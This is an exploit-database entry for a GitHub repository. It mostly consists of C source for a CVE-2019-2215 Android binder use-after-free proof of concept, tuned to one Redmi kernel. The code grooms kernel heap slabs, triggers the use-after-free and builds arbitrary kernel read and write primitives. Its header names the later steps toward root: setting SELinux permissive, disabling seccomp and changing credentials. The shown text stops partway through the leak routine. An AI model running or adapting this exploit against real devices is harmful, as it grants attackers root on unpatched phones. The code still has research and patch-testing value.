Exploit database

GH-3e87e744aafc398a058b9c8e29365633

begitdj/cve-2019-2215-markw

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2019-2215

37 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files8
begitdj/cve-2019-2215-markwRevision 067ebf1f0db3

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

bhsu98.c

C · 97,220 bytes
/*
 * POC to gain arbitrary kernel R/W access using CVE-2019-2215
 * https://bugs.chromium.org/p/project-zero/issues/detail?id=1942
 *
 * Jann Horn & Maddie Stone of Google Project Zero
 * Some stuff from Grant Hernandez to achieve root (Oct 15th 2019)
 * Modified by Alexander R. Pruss for 3.18 kernels where WAITQUEUE_OFFSET is 0x98
 * Fixed for MIUI markw 3.18.24-perf-g233e5d5 (Redmi 4 Prime) per the
 * verified bh2215 choreography:
 *   - self-hold prime (own-node two-way transaction, transaction_stack
 *     pushed, todo empty, return_error BR_OK) so binder_poll registers
 *     the pwq on thread->wait (a failing transaction sets return_error
 *     != BR_OK and binder_poll returns POLLIN BEFORE poll_wait ->
 *     nothing is registered)
 *   - kmalloc-512 active-slab drain on CPU0 (32 holder threads) so the
 *     freed binder_thread slot (0x128 bytes -> kmalloc-512) is served
 *     to the readv/writev import_iovec copy
 *   - 25-iovec array (400 bytes -> kmalloc-512), waitqueue candidates
 *     probed starting at 0x48
 *   - task_struct discovery via ADJACENT kmalloc-512 objects
 *     (planted binder_procs, tsk at +0x48), not a fixed tail offset
 *
 * Stage order: leak task -> widen addr_limit at ti+8 -> stable kR/W
 * pipe -> kallsyms -> selinux permissive -> seccomp -> uid/caps.
 */

#define BH_DELAY_USEC 10000

#define KERNEL_BASE search_base
#define OFFSET__thread_info__flags 0x000
#define OFFSET__task_struct__stack 0x008
#define OFFSET__cred__uid 0x004
#define OFFSET__cred__securebits 0x024
#define OFFSET__cred__cap_permitted 0x030
#define OFFSET__cred__cap_effective (OFFSET__cred__cap_permitted+0x008)
#define OFFSET__cred__cap_bset (OFFSET__cred__cap_permitted+0x010)

#define USER_DS 0x8000000000ul
#define BINDER_SET_MAX_THREADS 0x40046205ul
#define MAX_THREADS 3

#define RETRIES 3

#define PROC_KALLSYMS
#define KALLSYMS_CACHING
#define KSYM_NAME_LEN 128

#define OFFSET__cred__security 0x078
#define OFFSET__cred__cap_inheritable 0x028
#define OFFSET__cred__cap_ambient 0x048

#define _GNU_SOURCE
#include <libgen.h>
#include <linux/limits.h>
#include <time.h>
#include <stdbool.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <ctype.h>
#include <sys/uio.h>
#include <err.h>
#include <sched.h>
#include <fcntl.h>
#include <sys/epoll.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <linux/sched.h>
#include <string.h>
#include <sys/prctl.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <errno.h>
#include <poll.h>
#include <pthread.h>
#include <stdarg.h>

#define MAX_PACKAGE_NAME 1024

#define MIN(x, y) ((x) < (y) ? (x) : (y))
#define MAX(x, y) ((x) > (y) ? (x) : (y))

#define BINDER_THREAD_EXIT 0x40046208ul
#define BINDER_WRITE_READ 0xC0306201ul
#define BC_TRANSACTION 0x40406300ul

/* markw 3.18.24: sizeof(binder_thread) = 0x128 -> kmalloc-512 */
#define BINDER_THREAD_SZ 0x128
#define IOVEC_ARRAY_SZ 25 /* 25 * 16 = 400 bytes -> kmalloc-512 */
#define UAF_SPINLOCK 0x10001
#define UAF_MAGIC 0xABCDDEADBEEF1234UL

#define BH_MINIMUM_LEAK 0xF0
#define BH_ADJ_LEAK 0x10F0
#define BH_MMAP_SIZE 0x400000

#define BH_RETRIES 3
#define BH_DRAIN_THREADS 32
#define BH_DRAIN_IOVECS 25

#define SVC_MGR_GET_SERVICE 1
#define SVC_MGR_ADD_SERVICE 3
#define TF_ONE_WAY 0x1
#define FLAT_BINDER_TYPE_BINDER 0x73622a85 /* 'sb*' | 0x85 */
#define BH_BR_REPLY_CMD 0x7203
#define BH_BR_COMPLETE 0x7206
#define BH_BR_FAILED_REPLY 0x7211
#define BH_BR_NOOP 0x720c
#define BH_DRAIN_REPLY 0x7206 /* COMPLETE: drain stops when consumed */

struct bh_bwr {
    unsigned long write_size;
    unsigned long write_consumed;
    unsigned long write_buffer;
    unsigned long read_size;
    unsigned long read_consumed;
    unsigned long read_buffer;
};

struct bh_tr {
    uint32_t target_handle;
    uint32_t pad0;
    uint64_t field8;
    uint32_t code;
    uint32_t flags;
    uint64_t field24;
    uint64_t data_size;
    uint64_t offsets_size;
    uint64_t data_buffer;
    uint64_t data_offsets;
};

struct bh_flat {
    uint32_t type;
    uint32_t flags;
    uint64_t binder_or_handle;
    uint64_t cookie;
};

struct bh_pipe_pair { int r, w; };

struct bh_drain_arg { int ready_w; int hold_r; };

int epfd;

int binder_fd;

int diag_dump_stream = 0;

int g_noclobber = 0;

unsigned long g_wq_off = 0xA8;
unsigned long g_task_off = 0xE8;
unsigned long g_known_task = 0;
int g_wedge_dead = 0;

static pthread_t g_drain_tids[BH_DRAIN_THREADS];
static int g_drain_ready[BH_DRAIN_THREADS][2];
static int g_drain_hold[BH_DRAIN_THREADS][2];
static int g_drain_started = 0;

int quiet = 0;

const char whitelist[] = "su98-whitelist.txt";
const char denyfile[] = "su98-denied.txt";
int have_kallsyms = 0;
int kernel3 = 1;
int have_base=0;
char* myPath;
char* myName;
unsigned long search_base=0xffffffc000000000ul;

struct kallsyms {
    unsigned long addresses;
    unsigned long names;
    unsigned long num_syms;
    unsigned long token_table;
    unsigned long markers;
    char* token_table_data;
    unsigned short token_index_data[256];
} kallsyms;

void message(char *fmt, ...)
{
    if (quiet)
        return;
    va_list ap;
    va_start(ap, fmt);
    vprintf(fmt, ap);
    va_end(ap);
    putchar('\n');
    fflush(stdout);
}

void error(char* fmt, ...)
{
    va_list ap;
    va_start(ap, fmt);
    vfprintf(stderr, fmt, ap);
    va_end(ap);
    fprintf(stderr, ": %s\n", errno ? strerror(errno) : "error");
    exit(1);
}

/* The round-2 repoint can deadlock: when the repoint's own crossing
 * misses (import pops the wrong slab slot ~2/3 of the time) the parent's
 * writev stays blocked on the pipe forever.  Bail into the retry loop
 * instead. */
static void alarm_handler(int sig) { }

int setup_alarm_timeout(void) {
    struct sigaction sa;
    memset(&sa, 0, sizeof(sa));
    sa.sa_handler = alarm_handler;
    sigemptyset(&sa.sa_mask);
    if (sigaction(SIGALRM, &sa, NULL) < 0) return 0;
    return 1;
}

int isKernelPointer(unsigned long p) {
    return p >= 0xffffffc000000000ul && p <= 0xFFFFFFFFFFFFFFFEul;
}

void hexdump_memory(void *_buf, size_t byte_count)
{
    unsigned char *buf = _buf;
    unsigned long byte_offset_start = 0;
    if (byte_count % 16)
        fprintf(stderr, "WARNING: hexdump_memory called with non-full line\n");
    for (unsigned long byte_offset = byte_offset_start; byte_offset < byte_offset_start + byte_count;
         byte_offset += 16)
    {
        char line[1000];
        char *linep = line;
        linep += sprintf(linep, "%08lx  ", byte_offset);
        for (int i = 0; i < 16; i++)
        {
            linep += sprintf(linep, "%02hhx ", (unsigned char)buf[byte_offset + i]);
        }
        linep += sprintf(linep, " |");
        for (int i = 0; i < 16; i++)
        {
            char c = buf[byte_offset + i];
            if (isalnum(c) || ispunct(c) || c == ' ')
            {
                *(linep++) = c;
            }
            else
            {
                *(linep++) = '.';
            }
        }
        linep += sprintf(linep, "|");
        puts(line);
    }
}

unsigned long iovec_size(struct iovec *iov, int n)
{
    unsigned long sum = 0;
    for (int i = 0; i < n; i++)
        sum += iov[i].iov_len;
    return sum;
}

static long bh_now_us(void) {
    struct timespec ts;
    clock_gettime(CLOCK_MONOTONIC, &ts);
    return (long)ts.tv_sec * 1000000L + ts.tv_nsec / 1000L;
}

static int bh_set_pipe_size(int fd) {
    return fcntl(fd, F_SETPIPE_SZ, 0x1000) == 0x1000;
}

/* ------------------------------------------------------------------ */
/* Self-hold prime (deterministic transaction_stack push)             */
/* ------------------------------------------------------------------ */

static int bh_send_transaction(int fd, uint32_t handle, uint32_t code,
                               uint32_t flags, const void *data,
                               uint32_t data_size, const void *offsets,
                               uint32_t offsets_size) {
    char wbuf[4 + 64];
    uint32_t cmd = (uint32_t)BC_TRANSACTION;
    memcpy(wbuf, &cmd, 4);
    struct bh_tr *tr = (struct bh_tr *)(wbuf + 4);
    memset(tr, 0, 64);
    tr->target_handle = handle;
    tr->code = code;
    tr->flags = flags;
    tr->data_size = data_size;
    tr->offsets_size = offsets_size;
    tr->data_buffer = (unsigned long)data;
    tr->data_offsets = (unsigned long)offsets;
    struct bh_bwr wr;
    memset(&wr, 0, sizeof(wr));
    wr.write_size = sizeof(wbuf);
    wr.write_buffer = (unsigned long)wbuf;
    errno = 0;
    if (ioctl(fd, BINDER_WRITE_READ, &wr) != 0) {
        fprintf(stderr, "send_tx ioctl errno=%d\n", errno);
        return 0;
    }
    if (wr.write_consumed != sizeof(wbuf)) {
        fprintf(stderr, "send_tx consumed=%lu\n", (unsigned long)wr.write_consumed);
        return 0;
    }
    return 1;
}

static int bh_read_reply(int fd, struct bh_tr *tr_out) {
    struct pollfd pfd = {.fd = fd, .events = POLLIN};
    char rbuf[0x1000];
    for (int round = 0; round < 8; round++) {
        if (poll(&pfd, 1, 3000) <= 0) {
            fprintf(stderr, "read_reply poll fail round=%d errno=%d\n", round, errno);
            return 0;
        }
        struct bh_bwr wr;
        memset(&wr, 0, sizeof(wr));
        wr.read_size = sizeof(rbuf);
        wr.read_buffer = (unsigned long)rbuf;
        errno = 0;
        if (ioctl(fd, BINDER_WRITE_READ, &wr) != 0) {
            fprintf(stderr, "read_reply ioctl errno=%d round=%d\n", errno, round);
            return 0;
        }
        if (wr.read_consumed < 4) {
            fprintf(stderr, "read_reply consumed=%lu round=%d\n",
                    (unsigned long)wr.read_consumed, round);
            return 0;
        }
        for (unsigned long j = 0; j + 4 <= wr.read_consumed; j += 4) {
            uint32_t v = 0;
            memcpy(&v, rbuf + j, 4);
            if (v == BH_BR_REPLY_CMD) {
                if (tr_out && j + 4 + 64 <= wr.read_consumed)
                    memcpy(tr_out, rbuf + j + 4, 64);
                return 1;
            }
            if (v != BH_BR_COMPLETE && v != BH_BR_NOOP) {
                fprintf(stderr, "read_reply round=%d off=%lu cmd=%x\n",
                        round, (unsigned long)j, v);
                if (v == BH_BR_FAILED_REPLY) return 0;
            }
        }
    }
    return 0;
}

static int bh_register_service(int fd, const char *name) {
    size_t nlen = strlen(name);
    char payload[4 + 256 + 24];
    uint32_t *plen = (uint32_t *)payload;
    *plen = (uint32_t)(nlen * 2);
    for (size_t i = 0; i < nlen; i++)
        ((uint16_t *)(payload + 4))[i] = (uint16_t)name[i];
    uint32_t obj_off = 4 + (uint32_t)(nlen * 2);
    struct bh_flat *fp = (struct bh_flat *)(payload + obj_off);
    memset(fp, 0, sizeof(*fp));
    fp->type = FLAT_BINDER_TYPE_BINDER;
    uint64_t offsets[1] = {obj_off};
    if (!bh_send_transaction(fd, 0, SVC_MGR_ADD_SERVICE, 0, payload,
                             obj_off + sizeof(*fp), offsets, sizeof(offsets)))
        return 0;
    return bh_read_reply(fd, NULL);
}

static uint32_t bh_get_self_handle(int fd, const char *name) {
    size_t nlen = strlen(name);
    char payload[4 + 256];
    uint32_t *plen = (uint32_t *)payload;
    *plen = (uint32_t)(nlen * 2);
    for (size_t i = 0; i < nlen; i++)
        ((uint16_t *)(payload + 4))[i] = (uint16_t)name[i];
    if (!bh_send_transaction(fd, 0, SVC_MGR_GET_SERVICE, 0, payload,
                             4 + (uint32_t)(nlen * 2), NULL, 0))
        return 0;
    struct bh_tr tr;
    if (!bh_read_reply(fd, &tr)) return 0;
    if (tr.data_size < 8 || tr.offsets_size < 4) return 0;
    unsigned char *data = (unsigned char *)(unsigned long)tr.data_buffer;
    uint32_t *offs = (uint32_t *)(unsigned long)tr.data_offsets;
    struct bh_flat *fp = (struct bh_flat *)(data + offs[0]);
    return (uint32_t)fp->binder_or_handle;
}

static int bh_binder_hold_handle(int fd, uint32_t handle) {
    char wbuf[4 + 64];
    uint32_t cmd = (uint32_t)BC_TRANSACTION;
    memcpy(wbuf, &cmd, 4);
    struct bh_tr *tr = (struct bh_tr *)(wbuf + 4);
    memset(tr, 0, 64);
    tr->target_handle = handle;
    tr->code = 0x1234;
    struct bh_bwr wr;
    memset(&wr, 0, sizeof(wr));
    wr.write_size = sizeof(wbuf);
    wr.write_buffer = (unsigned long)wbuf;
    if (ioctl(fd, BINDER_WRITE_READ, &wr) != 0) return 0;
    return wr.write_consumed == sizeof(wbuf);
}

/* Drain queued BR_TRANSACTION_COMPLETE so the todo is empty before the
 * epoll ADD (a non-empty todo would make binder_poll return POLLIN and
 * skip poll_wait, registering no pwq).  The self-hold never produces a
 * reply, so this terminates at the COMPLETE. */
static void bh_binder_drain(int fd) {
    char rbuf[0x400];
    for (int round = 0; round < 4; round++) {
        struct pollfd pfd = {.fd = fd, .events = POLLIN};
        if (poll(&pfd, 1, 1000) <= 0) return;
        struct bh_bwr wr;
        memset(&wr, 0, sizeof(wr));
        wr.read_size = sizeof(rbuf);
        wr.read_buffer = (unsigned long)rbuf;
        if (ioctl(fd, BINDER_WRITE_READ, &wr) != 0) return;
        if (wr.read_consumed == 0) return;
        for (unsigned long j = 0; j + 4 <= wr.read_consumed; j += 4) {
            uint32_t v = 0;
            memcpy(&v, rbuf + j, 4);
            if ((v & 0xFFFFu) == BH_DRAIN_REPLY) return;
            if (v == BH_BR_FAILED_REPLY) return;
        }
    }
}

/* Instant drain: consume only what is ALREADY queued (the synchronous
 * BR_TRANSACTION_COMPLETEs).  Never wait for the wedge's denied reply:
 * a reply consumed here pops the txn stack, so the subsequent epoll ADD
 * registers its pwq on proc->wait instead of thread->wait (no
 * corruption).  The reply must stay pending until the ADD and be
 * consumed by bh_binder_drain_wait while the thread is still alive. */
static void bh_binder_drain_fast(int fd) {
    struct pollfd pfd = {.fd = fd, .events = POLLIN};
    if (poll(&pfd, 1, 0) <= 0) return;
    char rbuf[0x400];
    struct bh_bwr wr;
    memset(&wr, 0, sizeof(wr));
    wr.read_size = sizeof(rbuf);
    wr.read_buffer = (unsigned long)rbuf;
    if (ioctl(fd, BINDER_WRITE_READ, &wr) != 0) return;
}

/* Wait for the wedge's denied reply to be written and consume it, so its
 * wake fires while the thread is still alive (wait list intact) and the
 * transaction_stack is empty at THREAD_EXIT.  A late reply (past the
 * drain budget) lands in the freed-slot window: its wake writes the slot
 * and its fork delay lets the writev's iterator run ahead of the child's
 * DEL, both of which kill the crossing.  Bounded
 * loop with transient poll pwqs: each poll's own wait entry is removed
 * when the poll returns, so thread->wait stays at [ADD pwq] only.  If
 * nothing is pending for ~3s the reply is either already consumed
 * upstream (register/probe/ADD drains - stack clear, ADD pwq on
 * proc->wait, attempt dead anyway) or still in flight (its wake will hit
 * the freed-slot window) - fail the attempt in both cases; the retry
 * loop re-wedges fresh. */
static int bh_binder_drain_wait(int fd) {
    for (int round = 0; round < 60; round++) {
        struct pollfd pfd = {.fd = fd, .events = POLLIN};
        if (poll(&pfd, 1, 50) <= 0) continue;
        char rbuf[0x400];
        struct bh_bwr wr;
        memset(&wr, 0, sizeof(wr));
        wr.read_size = sizeof(rbuf);
        wr.read_buffer = (unsigned long)rbuf;
        if (ioctl(fd, BINDER_WRITE_READ, &wr) != 0) return 0;
        if (wr.read_consumed == 0) return 1;
        for (unsigned long j = 0; j + 4 <= wr.read_consumed; j += 4) {
            uint32_t v = 0;
            memcpy(&v, rbuf + j, 4);
            if ((v & 0xFFFFu) == BH_BR_REPLY_CMD) return 1;
            if ((v & 0xFFFFu) == BH_BR_FAILED_REPLY) return 1;
        }
    }
    return 0;
}

static long long bh_t(void) {
    struct timespec ts;
    clock_gettime(CLOCK_MONOTONIC, &ts);
    return (long long)ts.tv_sec * 1000LL + ts.tv_nsec / 1000000LL;
}
#define BH_STAGE(fmt, ...) fprintf(stderr, "[%lld] STAGE " fmt "\n", bh_t(), ##__VA_ARGS__)

/* CM wedge: one two-way ADD_SERVICE (denied by SELinux).  The instant
 * drain below consumes only the synchronously-queued COMPLETEs: the
 * denied reply must still be pending at the epoll ADD, or the stack pop
 * + return_error consumption switch binder_poll to proc->wait (no pwq)
 * and the attempt fails.  The caller then consumes the reply
 * (bh_binder_drain_wait) before THREAD_EXIT: its wake fires on the
 * still-allocated thread, so the wait list is intact and no wake can
 * hit the reallocated slot later. */
static int bh_wedge_cm(int fd, const char *name) {
    char payload[4 + 256 + 24];
    size_t nlen = strlen(name);
    uint32_t *plen = (uint32_t *)payload;
    *plen = (uint32_t)(nlen * 2);
    for (size_t i = 0; i < nlen; i++)
        ((uint16_t *)(payload + 4))[i] = (uint16_t)name[i];
    uint32_t obj_off = 4 + (uint32_t)(nlen * 2);
    struct bh_flat *fp = (struct bh_flat *)(payload + obj_off);
    memset(fp, 0, sizeof(*fp));
    fp->type = FLAT_BINDER_TYPE_BINDER;
    uint64_t offsets[1] = {obj_off};
    if (!bh_send_transaction(fd, 0, SVC_MGR_ADD_SERVICE, 0, payload,
                             obj_off + sizeof(*fp), offsets, sizeof(offsets)))
        return 0;
    bh_binder_drain_fast(fd);
    return 1;
}

/* Deterministic self-hold first; racy CM wedge fallback.  Unique name
 * per attempt: svcmgr rejects a re-register while the previous attempt's
 * node is still dying. */
static int bh_hold_stack(int fd) {
    static unsigned int seq;
    char name[32];
    snprintf(name, sizeof(name), "ghostlock.z%u", ++seq);
    BH_STAGE("hold_stack #%u register", seq);
    if (bh_register_service(fd, name)) {
        BH_STAGE("hold_stack #%u register ok, get_self", seq);
        uint32_t h = bh_get_self_handle(fd, name);
        if (h && bh_binder_hold_handle(fd, h)) {
            bh_binder_drain(fd);
            if (diag_dump_stream)
                fprintf(stderr, "hold: self-hold path\n");
            return 1;
        }
        if (diag_dump_stream)
            fprintf(stderr, "hold: register ok, no self handle\n");
    } else if (diag_dump_stream) {
        fprintf(stderr, "hold: register failed, wedge path\n");
    }
    /* CM wedge with a clean-todo probe: the denied reply must still be
     * pending at the epoll ADD, or binder_poll returns POLLIN and skips
     * poll_wait (no pwq -> no corruption).  Probe with a 0-timeout poll:
     * if the reply is already queued, consume it and re-wedge. */
    for (int probe = 0; probe < 64; probe++) {
        BH_STAGE("hold_stack #%u wedge probe %d", seq, probe);
        if (!bh_wedge_cm(fd, name)) return 0;
        struct pollfd pfd = {.fd = fd, .events = POLLIN};
        if (poll(&pfd, 1, 0) <= 0) {
            if (diag_dump_stream)
                fprintf(stderr, "hold: wedge clean at probe %d\n", probe);
            return 1;
        }
        bh_binder_drain_fast(fd);
    }
    return 0;
}

/* ------------------------------------------------------------------ */
/* kmalloc-512 active-slab drain                                       */
/* ------------------------------------------------------------------ */

static void *bh_drain_helper(void *arg) {
    struct bh_drain_arg *a = (struct bh_drain_arg *)arg;
    cpu_set_t cs;
    CPU_ZERO(&cs);
    CPU_SET(0, &cs);
    sched_setaffinity(0, sizeof(cs), &cs);
    static unsigned char buf[16];
    struct iovec iov[BH_DRAIN_IOVECS];
    for (int i = 0; i < BH_DRAIN_IOVECS; i++) {
        iov[i].iov_base = buf;
        iov[i].iov_len = 1;
    }
    ssize_t wr = write(a->ready_w, "R", 1);
    if (wr != 1) return NULL;
    readv(a->hold_r, iov, BH_DRAIN_IOVECS);
    return NULL;
}

static int bh_drain_start(void) {
    static struct bh_drain_arg args[BH_DRAIN_THREADS];
    for (int i = 0; i < BH_DRAIN_THREADS; i++) {
        g_drain_ready[i][0] = -1;
        g_drain_ready[i][1] = -1;
        g_drain_hold[i][0] = -1;
        g_drain_hold[i][1] = -1;
        if (pipe(g_drain_ready[i]) < 0 || pipe(g_drain_hold[i]) < 0) {
            fprintf(stderr, "drain: pipe %d failed errno=%d\n", i, errno);
            return 0;
        }
        args[i].ready_w = g_drain_ready[i][1];
        args[i].hold_r = g_drain_hold[i][0];
        if (pthread_create(&g_drain_tids[i], NULL, bh_drain_helper,
                           &args[i]) != 0) {
            fprintf(stderr, "drain: pthread_create %d failed errno=%d\n", i, errno);
            return 0;
        }
    }
    char c;
    for (int i = 0; i < BH_DRAIN_THREADS; i++) {
        if (read(g_drain_ready[i][0], &c, 1) != 1) {
            fprintf(stderr, "drain: ready read %d failed errno=%d\n", i, errno);
            return 0;
        }
        close(g_drain_ready[i][0]);
        close(g_drain_ready[i][1]);
        g_drain_ready[i][0] = -1;
        g_drain_ready[i][1] = -1;
    }
    usleep(10000);
    g_drain_started = 1;
    fprintf(stderr, "drain: %d kmalloc-512 holders on cpu0\n", BH_DRAIN_THREADS);
    return 1;
}

static void bh_drain_release(void) {
    if (!g_drain_started) return;
    g_drain_started = 0;
    for (int i = 0; i < BH_DRAIN_THREADS; i++) {
        if (g_drain_hold[i][1] >= 0) {
            if (write(g_drain_hold[i][1], "X", 1) != 1)
                break;
            close(g_drain_hold[i][1]);
            g_drain_hold[i][1] = -1;
        }
    }
    for (int i = 0; i < BH_DRAIN_THREADS; i++)
        pthread_join(g_drain_tids[i], NULL);
}

/* ------------------------------------------------------------------ */
/* One-shot kernel write via the wait-queue iovec clobber (readv)     */
/* ------------------------------------------------------------------ */

/* The waitqueue in the freed binder_thread slot (reused by the readv's
 * kernel iovec copy) is at slot+0x48: the arm64 ticket spinlock word
 * (slot+0x48) is left at its unlocked value 0x00010001 by the DEL's
 * remove_wait_queue spin_lock/unlock, i.e. iov[indx].iov_len becomes
 * UAF_SPINLOCK (0x10001) permanently; the task_list at slot+0x50 is
 * re-pointed to itself: iov[indx+1].iov_base AND .iov_len <- slot+0x50.
 *
 * The readv therefore flows: iov[indx-1] (alignment padding), iov[indx]
 * whose clobbered len 0x10001 absorbs the next 0x10001 stream bytes,
 * then the self-repointed crossing entry iov[indx+1] which receives the
 * chunk written back into the slot, rewriting iov[indx+1..indx+3] as
 * {payloadAddress,crossing+payloadLength} / {&verify,8} / {0,0}.  The
 * chunk ends exactly at a page boundary (0xFCF + 0x10001 + 0x30 =
 * 0x11000) so the payload + verify datum that follow land in the next
 * pipe buffer; the readv re-reads the repointed iovs from the slot and
 * delivers the payload to payloadAddress+0x30 (kernel copy, no access_ok
 * gate on this 3.18 iov_iter: the crossing's iov_offset is 0x30 when the
 * iov[5] entry is re-read), then the verify.  The chunk's len must be
 * crossing+payloadLength: the re-read's len - iov_offset leaves exactly
 * payloadLength for the payload, then the iov[6] entry (the chunk's
 * {&verify, 8}) consumes the trailing test_value. */
int clobber_data(unsigned long payloadAddress, const void *src, unsigned long payloadLength)
{
    const size_t absorb = UAF_SPINLOCK;
    const size_t chunk_len = 3 * 0x10;
    const size_t crossing = chunk_len; /* corrupted iov_len (slot+0x50) */
    const size_t padding = 0x1000 - (absorb + chunk_len) % 0x1000;
    const size_t total = padding + absorb + crossing + payloadLength + sizeof(unsigned long);

    char *dummy = (char *)calloc(1, padding + absorb + 0x1000);
    if (!dummy) return 0;
    unsigned long verify = 0;
    const unsigned long test_value = UAF_MAGIC;

    unsigned long chunk[6] = {
        payloadAddress,
        crossing + payloadLength,
        (unsigned long)&verify,
        sizeof(verify),
        0,
        0,
    };

    int indx = (int)(g_wq_off / 16);
    if (indx + 3 >= IOVEC_ARRAY_SZ) {
        free(dummy);
        return 0;
    }

    struct epoll_event event = {.events = EPOLLIN};
    int max_threads = 2;
    int bindfd = open("/dev/binder", O_RDONLY | O_CLOEXEC);
    if (bindfd < 0) {
        free(dummy);
        return 0;
    }
    ioctl(bindfd, BINDER_SET_MAX_THREADS, &max_threads);
    int epfd = epoll_create(1000);
    if (epfd < 0) {
        close(bindfd);
        free(dummy);
        return 0;
    }
    void *bindmap = mmap(NULL, BH_MMAP_SIZE, PROT_READ,
                         MAP_PRIVATE | MAP_ANONYMOUS, bindfd, 0);
    if (bindmap == MAP_FAILED) {
        close(epfd);
        close(bindfd);
        free(dummy);
        return 0;
    }
    /* transaction_stack pushed, todo empty, return_error == BR_OK */
    BH_STAGE("clobber hold");
    if (!bh_hold_stack(bindfd)) {
        fprintf(stderr, "clobber hold failed errno=%d\n", errno);
        munmap(bindmap, BH_MMAP_SIZE);
        close(epfd);
        close(bindfd);
        free(dummy);
        return 0;
    }
    BH_STAGE("clobber epoll ADD");
    if (epoll_ctl(epfd, EPOLL_CTL_ADD, bindfd, &event)) {
        fprintf(stderr, "clobber epoll_add errno=%d\n", errno);
        munmap(bindmap, BH_MMAP_SIZE);
        close(epfd);
        close(bindfd);
        free(dummy);
        return 0;
    }
    /* Consume the wedge's denied reply before THREAD_EXIT (its wake must
     * fire while the thread's wait list is still intact). */
    bh_binder_drain(bindfd);

    struct iovec *iov = (struct iovec *)calloc(IOVEC_ARRAY_SZ, sizeof(struct iovec));
    if (!iov) {
        free(dummy);
        return 0;
    }

    iov[indx - 1].iov_base = dummy;
    iov[indx - 1].iov_len = padding;
    iov[indx].iov_base = dummy;
    iov[indx].iov_len = 0; /* spinlock: will turn to UAF_SPINLOCK */
    iov[indx + 1].iov_base = chunk; /* task_list: will turn to {slot+0x50,..} */
    iov[indx + 1].iov_len = chunk_len;
    iov[indx + 2].iov_base = dummy; /* overwritten by the repoint chunk */
    iov[indx + 2].iov_len = absorb;
    iov[indx + 3].iov_base = dummy;
    iov[indx + 3].iov_len = payloadLength + sizeof(test_value);

    struct bh_pipe_pair pipes;
    if (pipe((int *)&pipes) < 0 || !bh_set_pipe_size(pipes.r) ||
        !bh_set_pipe_size(pipes.w)) {
        fprintf(stderr, "clobber pipe setup failed errno=%d\n", errno);
        free(iov);
        free(dummy);
        return 0;
    }

    int ackpipe[2];
    if (pipe(ackpipe) < 0) {
        fprintf(stderr, "clobber ack pipe failed errno=%d\n", errno);
        free(iov);
        free(dummy);
        return 0;
    }

    pid_t pid = fork();
    if (pid == -1) {
        fprintf(stderr, "clobber fork failed errno=%d\n", errno);
        close(ackpipe[0]);
        close(ackpipe[1]);
        free(iov);
        free(dummy);
        return 0;
    }
    if (pid == 0) {
        /* Child: sync on the parent's import, then the DEL must land
         * while the parent's readv is blocked on the empty pipe (array
         * already imported into the freed slot), then feed the whole
         * stream in one write.  The ack is written by the parent after
         * THREAD_EXIT, immediately before the readv; both processes are
         * cpu0-pinned, so the readv's import completes before the child
         * can run (the parent is still on cpu0 when it blocks). */
        char c;
        prctl(PR_SET_PDEATHSIG, SIGKILL);
        if (read(ackpipe[0], &c, 1) != 1) _exit(1);
        close(ackpipe[0]);
        close(ackpipe[1]);
        usleep(BH_DELAY_USEC);
        epoll_ctl(epfd, EPOLL_CTL_DEL, bindfd, &event);

        char *f = (char *)malloc(total);
        if (!f) _exit(1);
        memset(f, 0, padding + absorb + crossing);
        memcpy(f + padding + absorb, chunk, chunk_len);
        memcpy(f + padding + absorb + crossing, src, payloadLength);
        memcpy(f + padding + absorb + crossing + payloadLength, &test_value,
               sizeof(test_value));
        if (write(pipes.w, f, total) != (ssize_t)total) _exit(1);
        free(f);
        close(pipes.w);
        close(pipes.r);
        _exit(0);
    }

    ioctl(bindfd, BINDER_THREAD_EXIT, NULL);
    /* NOTE: only the ack pipe write between THREAD_EXIT and readv - the
     * tty write path can kmalloc-512 and steal the freed slot; a plain
     * pipe write allocates nothing.  The ack syncs the child's DEL on
     * the import: the child (cpu0-pinned like us) only runs once this
     * readv is blocked, i.e. after the array was imported into the slot
     * freed above. */
    if (write(ackpipe[1], "A", 1) != 1) {
        fprintf(stderr, "clobber ack write failed errno=%d\n", errno);
        close(ackpipe[0]);
        close(ackpipe[1]);
        free(iov);
        free(dummy);
        return 0;
    }
    close(ackpipe[0]);
    close(ackpipe[1]);
    alarm(5);
    ssize_t b = readv(pipes.r, iov, IOVEC_ARRAY_SZ);
    alarm(0);
    BH_STAGE("clobber readv ret=%zd", b);
    message("PARENT: clobber readv returns %zd of %zu, verify=%lx", b, total, verify);

    waitpid(pid, NULL, 0);
    close(pipes.r);
    close(pipes.w);
    close(epfd);
    munmap(bindmap, BH_MMAP_SIZE);
    close(bindfd);
    free(iov);
    free(dummy);
    if (verify != test_value)
        message("PARENT: clobber test datum mismatch: 0x%lx", verify);
    return verify == test_value;
}

int clobber_data_retry(unsigned long payloadAddress, const void *src, unsigned long payloadLength) {
    int try = 0;
    while (try < RETRIES && !g_wedge_dead && !clobber_data(payloadAddress, src, payloadLength)) {
        message("MAIN: **fail** retrying clobber");
        try++;
    }
    if (0 < try && try < RETRIES)
        message("MAIN: it took %d tries, but succeeded", try);
    return !g_wedge_dead && try < RETRIES;
}

/* ------------------------------------------------------------------ */
/* Kernel-memory leak through the crossed pipe (writev)               */
/* ------------------------------------------------------------------ */

static int bh_plant_procs(void) {
    const char *e = getenv("SU98_PLANTS");
    if (!e) return 6;
    int n = atoi(e);
    return n < 0 ? 0 : n;
}

/* Round 1 (task discovery): no repoint - the crossing (iov[indx+1] len
 * clobbered huge) emits 0x10F8 bytes from slot+0x50: the tail of the
 * slot's own iovec copy then the ADJACENT kmalloc-512 objects (planted
 * binder_procs, tsk at +0x48) in the same slab pages.  Round 2
 * (known_task): the child repoints the blocked writev so the stream
 * continues with iov[indx+2] = {extra_address, extra_amount} and
 * iov[indx+3] = {task+8, 8} -> the last 8 stream bytes are task->stack. */
int leak_data(void *leakBuffer, int leakAmount,
              unsigned long extraLeakAddress, void *extraLeakBuffer, int extraLeakAmount,
              unsigned long *task_struct_ptr_p, unsigned long *task_struct_plus_8_p)
{
    const unsigned long minimum = BH_MINIMUM_LEAK;
    unsigned long adj = leakAmount > BH_ADJ_LEAK ? leakAmount : BH_ADJ_LEAK;

    int success = 1;
    int indx = (int)(g_wq_off / 16);
    if (indx + 2 >= IOVEC_ARRAY_SZ) return 0;

